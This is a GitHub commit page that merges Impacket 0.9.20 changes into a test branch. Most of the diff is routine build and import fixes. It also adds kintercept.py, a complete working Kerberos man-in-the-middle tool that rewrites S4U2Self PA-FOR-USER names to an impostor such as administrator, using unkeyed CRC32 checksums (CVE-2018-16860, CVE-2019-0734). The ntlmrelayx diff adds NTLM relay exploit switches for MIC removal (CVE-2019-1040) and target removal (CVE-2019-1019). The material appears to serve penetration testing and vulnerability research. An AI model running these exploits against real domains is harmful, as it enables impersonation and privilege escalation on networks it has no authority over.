Skip to content

Commit

Permalink
Merge branch 'impacket/0_9_20' into test/impacket_0_9_20
Browse files Browse the repository at this point in the history
  • Loading branch information
Ronnie Flathers committed Dec 15, 2019
2 parents 5a32a54 + 647d7be commit f970470
Show file tree
Hide file tree
Showing 33 changed files with 766 additions and 93 deletions.
11 changes: 6 additions & 5 deletions .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,15 +8,16 @@ matrix:
env: NO_REMOTE=true, TOXENV=py27
- python: 3.6
env: NO_REMOTE=true, TOXENV=py36
allow_failures:
- python: 3.6
- python: 3.7
env: NO_REMOTE=true, TOXENV=py37
dist: xenial # required for Python >= 3.7

install: pip install flake8==3.6.0 tox -r requirements.txt
install: pip install flake8 tox -r requirements.txt

before_script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --select=E9,F72,F82 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics
- flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics

script: tox
1 change: 0 additions & 1 deletion MANIFEST.in
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ include MANIFEST.in
include LICENSE
include ChangeLog
include requirements.txt
include requirements_examples.txt
include tox.ini
recursive-include examples tests *.txt *.py
recursive-include tests *
2 changes: 1 addition & 1 deletion examples/GetADUsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ def getMachineName(self):
s.login('', '')
except Exception:
if s.getServerName() == '':
raise 'Error while anonymous logging into %s'
raise Exception('Error while anonymous logging into %s' % self.__domain)
else:
s.logoff()
return s.getServerName()
Expand Down
4 changes: 2 additions & 2 deletions examples/goldenPac.py
Original file line number Diff line number Diff line change
Expand Up @@ -45,8 +45,8 @@
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
Expand Down
276 changes: 276 additions & 0 deletions examples/kintercept.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,276 @@
#!/usr/bin/env python
# MIT Licensed
# Copyright (c) 2019 Isaac Boukris <[email protected]>
#
# A tool for intercepting TCP streams and for testing KDC handling
# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self
# protocol extention (CVE-2018-16860 and CVE-2019-0734).
#
# The tool listens on a local port (default 88), to which the hijacked
# connections should be redirected (via port forwarding, etc), and sends
# all the packets to the upstream DC server.
# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied
# packet will be changed to the name specified in the handler's argument.
#
# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr

import struct, socket, argparse, asyncore
from binascii import crc32
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.krb5 import constants
from impacket.krb5.crypto import Cksumtype
from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC
from impacket.krb5.types import Principal


MAX_READ_SIZE = 16000
MAX_BUFF_SIZE = 32000
LISTEN_QUEUE = 10
TYPE = 10

def process_s4u2else_req(data, impostor):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]
except:
print ('Record is not a TGS-REQ')
return ''

pa_tgs_req = pa_for_user = None

for pa in tgs['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:
pa_tgs_req = pa
elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:
pa_for_user = pa

if not pa_tgs_req or not pa_for_user:
print ('TGS request is not S4U')
return ''

tgs['padata'] = noValue
tgs['padata'][0] = pa_tgs_req

try:
for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]
except:
print ('Failed to decode PA_FOR_USER!')
return ''

S4UByteArray = struct.pack('<I', TYPE)
S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'

cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff
cs = struct.pack('<I', cs)

clientName = Principal(impostor, type=TYPE)
seq_set(for_user_obj, 'userName', clientName.components_to_asn1)

for_user_obj['cksum'] = noValue
for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32
for_user_obj['cksum']['checksum'] = cs

pa_for_user['padata-value'] = encoder.encode(for_user_obj)
tgs['padata'][1] = pa_for_user

return bytes(encoder.encode(tgs))

def mod_tgs_rep_user(data, reply_user):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]
except:
print ('Record is not a TGS-REP')
return ''

cname = Principal(reply_user, type=TYPE)
seq_set(tgs, 'cname', cname.components_to_asn1)

return bytes(encoder.encode(tgs))


class InterceptConn(asyncore.dispatcher):
def __init__(self, conn=None):
asyncore.dispatcher.__init__(self, conn)
self.peer = None
self.buffer = bytearray()
self.eof_received = False
self.eof_sent = False

# Override recv method to handle half opened connections
# e.g. curl --http1.0 ...
def recv(self, n):
if not n:
return ''
try:
data = self.socket.recv(n)
if not data:
self.handle_eof()
return ''
else:
return data
except socket.error as why:
if why.args[0] in asyncore._DISCONNECTED:
self.handle_close()
return ''
else:
raise

def forward_data(self, data):
self.peer.buffer.extend(data)

def buffer_empty(self):
return len(self.buffer) == 0

def max_read_size(self):
space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))
return min(MAX_READ_SIZE, space)

def readable(self):
if not self.connected:
return True
return (not self.eof_received) and (self.max_read_size() != 0)

def handle_read(self):
data_read = self.recv(self.max_read_size())
if data_read:
print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')
self.forward_data(data_read)

def handle_eof(self):
print (str(self.fileno()) + ': received eof')
self.eof_received = True

def need_to_send_eof(self):
if self.eof_sent:
return False
return self.buffer_empty() and self.peer.eof_received

def writable(self):
if not self.connected:
return True
return not self.buffer_empty() or self.need_to_send_eof()

def handle_write(self):
if not self.buffer_empty():
sent = self.send(self.buffer)
print (str(self.fileno()) + ': sent ' + str(sent) + ' bytes')
if sent:
del self.buffer[:sent]
if self.need_to_send_eof():
self.shutdown(socket.SHUT_WR)
self.eof_sent = True
print (str(self.fileno()) + ': sent eof')
if self.peer.eof_sent:
self.handle_close()

def handle_close(self):
print ('Closing pair: [' + str(self.fileno()) + ',' + str(self.peer.fileno()) + ']')
self.peer.close()
self.close()


def InterceptKRB5Tcp(process_record_func, arg):
class _InterceptKRB5Tcp(InterceptConn):
def __init__(self, conn=None):
InterceptConn.__init__(self, conn)
self.proto_buffer = bytearray()

def forward_data(self, data):
self.proto_buffer.extend(data)

while len(self.proto_buffer):
if len(self.proto_buffer) < 4:
break

header = ''.join(reversed(str(self.proto_buffer[:4])))
rec_len = struct.unpack('<L', header)[0]
print ('len of record: ' + str(rec_len))

if len(self.proto_buffer) < 4 + rec_len:
break

msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)
if not msg:
InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])
else:
header = struct.pack('<L', len(msg))
InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)

del self.proto_buffer[:4+rec_len]

return _InterceptKRB5Tcp

class InterceptConnFactory:
def __init__(self, handler=None, arg=None):
self.handler = handler
self.arg = arg

def produce(self):
if not self.handler:
return InterceptConn
if self.handler.lower() == "s4u2else":
return InterceptKRB5Tcp(process_s4u2else_req, self.arg)
if self.handler.lower() == "tgs-rep-user":
return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)

class InterceptServer(asyncore.dispatcher):
def __init__(self, addr, target, icf1, icf2):
asyncore.dispatcher.__init__(self)
self.target = target
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind(addr)
self.listen(LISTEN_QUEUE)
self.downconns = icf1
self.upconns = icf2

def intercept_conns(self, conn):
iconn1 = self.downconns.produce()(conn)
iconn2 = self.upconns.produce()()
return iconn1, iconn2

def handle_accept(self):
conn, addr = self.accept()
downstream, upstream = self.intercept_conns(conn)
downstream.peer = upstream
upstream.peer = downstream
try:
upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)
upstream.connect(self.target)
print ('accepted downconn fd: ' + str(downstream.fileno()))
print ('established upconn fd: ' + str(upstream.fileno()))
except:
print (str(conn.fileno()) + ': failed to connect to target')
downstream.handle_close()


def parse_args():
parser = argparse.ArgumentParser(description='Intercept TCP streams')
parser.add_argument('server', help='Target server address')
parser.add_argument('--server-port', default=88, type=int, help='Target server port')
parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')
parser.add_argument('--listen-addr', default='', help='Address to listen on')
parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')
parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')
return vars(parser.parse_args())


if __name__ == '__main__':

print(version.BANNER)

args = parse_args()

req_factory = rep_factory = InterceptConnFactory()
if args['request_handler']:
req_args = args['request_handler'].split(':')
req_factory = InterceptConnFactory(req_args[0], req_args[1])
if args['reply_handler']:
rep_args = args['reply_handler'].split(':')
rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])

server = InterceptServer((args['listen_addr'], args['listen_port']),
(args['server'], args['server_port']),
req_factory, rep_factory)
asyncore.loop()
2 changes: 1 addition & 1 deletion examples/lookupsid.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@ def __bruteForce(self, rpctransport, maxRid):

dce.bind(lsat.MSRPC_UUID_LSAT)

resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']

if self.__domain_sids: # get the Domain SID
Expand Down
17 changes: 16 additions & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,10 +153,12 @@ def start_servers(options, threads):
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
c.setSMB2Support(options.smb2support)
c.setInterfaceIp(options.interface_ip)

c.setExploitOptions(options.remove_mic, options.remove_target)
c.setWebDAVOptions(options.serve_image)

if server is HTTPRelayServer:
c.setListeningPort(options.http_port)
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
elif server is SMBRelayServer:
c.setListeningPort(options.smb_port)

Expand Down Expand Up @@ -240,6 +242,8 @@ def stop_servers(threads):
parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed '
'before serving a WPAD file.')
parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')

#SMB arguments
smboptions = parser.add_argument_group("SMB client options")
Expand All @@ -256,6 +260,17 @@ def stop_servers(threads):
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
'(can specify multiple)')

#HTTPS options
httpoptions = parser.add_argument_group("HTTP options")
httpoptions.add_argument('-machine-account', action='store', required=False,
help='Domain machine account to use when interacting with the domain to grab a session key for '
'signing, format is domain/machine_name')
httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
help='Domain machine hashes, format is LMHASH:NTHASH')
httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
httpoptions.add_argument('-remove-target', action='store_true', default=False,
help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')

#LDAP options
ldapoptions = parser.add_argument_group("LDAP client options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
Expand Down
4 changes: 2 additions & 2 deletions examples/raiseChild.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,8 +87,8 @@
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO
Expand Down
4 changes: 2 additions & 2 deletions examples/wmiexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -226,8 +226,8 @@ def default(self, line):
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n').encode(CODEC)
self.prompt = (self.__pwd + b'>')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
Expand Down
Loading

0 comments on commit f970470

Please sign in to comment.